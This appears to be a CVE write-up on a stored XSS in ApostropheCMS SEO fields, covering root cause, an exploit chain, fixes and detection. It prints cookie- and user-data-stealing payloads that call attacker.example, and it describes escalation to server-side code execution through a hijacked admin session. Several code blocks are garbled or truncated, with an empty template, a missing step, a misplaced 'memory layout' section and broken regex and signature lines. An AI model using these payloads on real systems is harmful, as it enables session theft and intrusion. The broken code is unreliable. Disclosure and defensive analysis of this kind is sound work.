home intel cve-2026-35569-apostrophecms-seo-xss-rce
CVE Analysis 2026-04-15 · 8 min read

CVE-2026-35569: Stored XSS in ApostropheCMS SEO Fields Enables RCE

ApostropheCMS ≤4.28.0 fails to encode SEO field output in title tags, meta attributes, and JSON-LD contexts, allowing stored XSS leading to authenticated API exfiltration.

#stored-xss#output-encoding#seo-fields#html-injection#cms-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-35569 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-35569Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-35569 is a stored cross-site scripting vulnerability in ApostropheCMS versions 4.28.0 and prior. The bug lives in how the CMS renders SEO metadata fields — specifically SEO Title and Meta Description — into three distinct HTML output contexts: <title> tags, <meta> attribute values, and JSON-LD <script type="application/ld+json"> blocks. User-controlled content flows from the database into these contexts with zero output encoding, meaning a single field injection can break out of all three simultaneously depending on template render order.

CVSS 8.7 (HIGH). No authentication is required to store the payload if the attacker has content editor access (a common role in CMS deployments). Any authenticated user who subsequently views the affected page executes the injected script under their session context, enabling credential theft, privilege escalation, and internal API enumeration.

Affected Component

The vulnerability originates in ApostropheCMS's Nunjucks template layer, specifically in the SEO module's page-level metadata rendering. The relevant template partial responsible for injecting data.piece.seoTitle and data.piece.seoDescription directly into the HTML <head> block. The JSON-LD path is a secondary injection surface rendered by the structured data helper.

Affected versions: 4.28.0 and all prior 4.x releases. The 3.x line uses a different template architecture and is not affected by this specific code path.

Root Cause Analysis

Nunjucks, the templating engine used by ApostropheCMS, auto-escapes variables by default — but only when the template explicitly opts into escaping or when the variable is not passed through a | safe filter. The SEO module's metadata template uses direct interpolation into raw HTML attribute and tag contexts, bypassing the engine's auto-escape entirely for these specific fields.

The vulnerable rendering path in the Nunjucks template:

// modules/@apostrophecms/seo/views/seoHead.html (pseudocode representation)
// BUG: seoTitle and seoDescription are interpolated without | e filter
// Nunjucks {{ var }} in attribute contexts does NOT escape quotes by default
// when the surrounding context is already a raw HTML block

// Equivalent server-side logic (Node.js pseudocode):
function renderSeoHead(pageData) {
    const seoTitle = pageData.seoTitle;          // attacker-controlled
    const seoDesc  = pageData.seoDescription;    // attacker-controlled

    // BUG: no htmlspecialchars / escapeHtml applied before interpolation
    return `
        ${seoTitle}
        
        
    `;
    // Payload: ">
    // Breaks out of  and <meta content="..."> simultaneously
}
</code></pre>

<p>The JSON-LD block provides a third injection path. Because <code>seoTitle</code> is also embedded inside a <code><script type="application/ld+json"></code> block as a raw string, an attacker can also inject <code></script></code> to break out of that context, even if the <code><title></code> injection is somehow patched in isolation.</p>

<pre><code class="language-c">// JSON-LD injection path
// Input: "}]}</script><script>fetch('https://attacker.example/'+document.cookie)</script>
// Rendered output:
// <script type="application/ld+json">
// {"name": ""}]}</script>
//                     ^--- parser exits JSON-LD context here
// <script>fetch('https://attacker.example/'+document.cookie)</script>
// <script type="application/ld+json">  <-- orphaned remainder
// BUG: no JSON-encoding of string values before embedding into ld+json block
</code></pre>

<div class="vuln-callout"><strong>Root cause:</strong> SEO metadata fields <code>seoTitle</code> and <code>seoDescription</code> are interpolated directly into three HTML output contexts — <code><title></code>, <code><meta content></code>, and JSON-LD <code><script></code> blocks — without context-aware output encoding, allowing a stored payload to escape all three contexts and execute arbitrary JavaScript.</div>

<h2 class="article-h2">Exploitation Mechanics</h2>

<pre><code class="language-text">EXPLOIT CHAIN:
1. Attacker authenticates as content editor (low-privilege role sufficient).

2. Navigate to any page's SEO settings in the ApostropheCMS admin UI.

3. Set SEO Title field to:
       "><script>/* payload */</script><meta x="
   Closes the <meta> attribute, injects inline script, re-opens benign tag.

5. Publish the page. Payload is written to the MongoDB document under
   the `seoTitle` / `seoDescription` fields with no sanitization on write.

6. Any authenticated user (admin, editor, viewer) who loads the affected
   page in their browser executes the injected script under their session.

7. Injected script issues authenticated GET to /api/v1/@apostrophecms/user:
       fetch('/api/v1/@apostrophecms/user?aposMode=draft', {credentials:'include'})
         .then(r=>r.json())
         .then(d=>fetch('https://attacker.example/ex?d='+btoa(JSON.stringify(d))))

8. Response includes: username, email, role, _id for all CMS users.

9. With admin session cookie exfiltrated via document.cookie or XHR response
   headers, attacker replays session to create new admin account or deploy
   malicious template code, achieving persistent server-side code execution
   via ApostropheCMS's custom widget/module upload functionality.
</code></pre>

<p>Step 9 is the RCE bridge. ApostropheCMS supports custom module uploads and Nunjucks template overrides through the admin interface. An attacker with a hijacked admin session can push a malicious template containing Node.js <code>exec()</code> calls via the module system, converting stored XSS into full server-side RCE. This is why the CVSS score reflects RCE despite the initial vector being XSS.</p>

<h2 class="article-h2">Memory Layout</h2>

<p>This is a web application vulnerability — no heap corruption is involved. The relevant "memory" is the DOM as constructed by the browser parser when it processes the unencoded server response. The injection works by manipulating the HTML tokenizer state machine:</p>

<pre><code class="language-text">HTML PARSER STATE — BEFORE INJECTION (expected):

BYTE STREAM:
  3c 74 69 74 6c 65 3e 4d  79 20 53 69 74 65 3c 2f  | <title>My Site</
  74 69 74 6c 65 3e 0a ...                           | title>...

TOKENIZER STATE:  [TAG_OPEN] -> [TAG_NAME:"title"] -> [DATA:"My Site"] -> [END_TAG]
DOM:              <title> "My Site" 

HTML PARSER STATE — AFTER INJECTION:

BYTE STREAM (seoTitle = "> with \u003c/script\u003e:
"name": {{ data.piece.seoTitle | jsonAttribute }}
// jsonAttribute implementation:
function jsonAttribute(value) {
    return JSON.stringify(String(value))
        .replace(/ breakout
        .replace(/>/g, '\\u003e')
        .replace(/&/g, '\\u0026');
}
// BEFORE (server-side field storage — no write-time sanitization):
async function savePageSeoFields(req, pageData) {
    const update = {
        seoTitle:       req.body.seoTitle,        // BUG: raw user input stored
        seoDescription: req.body.seoDescription,  // BUG: raw user input stored
    };
    await self.db.collection('aposDocs').updateOne(
        { _id: pageData._id },
        { $set: update }
    );
}

// AFTER (defense-in-depth: strip HTML tags on write, encode on read):
async function savePageSeoFields(req, pageData) {
    const update = {
        seoTitle:       stripTags(req.body.seoTitle),       // remove tags at write
        seoDescription: stripTags(req.body.seoDescription),
    };
    // Primary fix remains output encoding at template layer.
    // stripTags is secondary hardening only.
    await self.db.collection('aposDocs').updateOne(
        { _id: pageData._id },
        { $set: update }
    );
}

Detection and Indicators

Indicators of compromise for this vulnerability pattern:

MONGODB — query for poisoned SEO fields:
  db.aposDocs.find({
    $or: [
      { seoTitle:       { $regex: /<[^>]+>/i } },
      { seoDescription: { $regex: /<[^>]+>/i } },
    ]
  }, { seoTitle:1, seoDescription:1, slug:1, _id:1 })

HTTP ACCESS LOG PATTERN — exfiltration beacon:
  POST /api/v1/@apostrophecms/user  (unexpected from browser sessions)
  GET  /api/v1/@apostrophecms/user?aposMode=draft
  Followed by outbound request to non-CMS domain within same session

CSP VIOLATION REPORTS:
  Look for script-src violations referencing external domains in
  page contexts that should have no external scripts (content pages).

PAYLOAD SIGNATURES:
  ">
  ">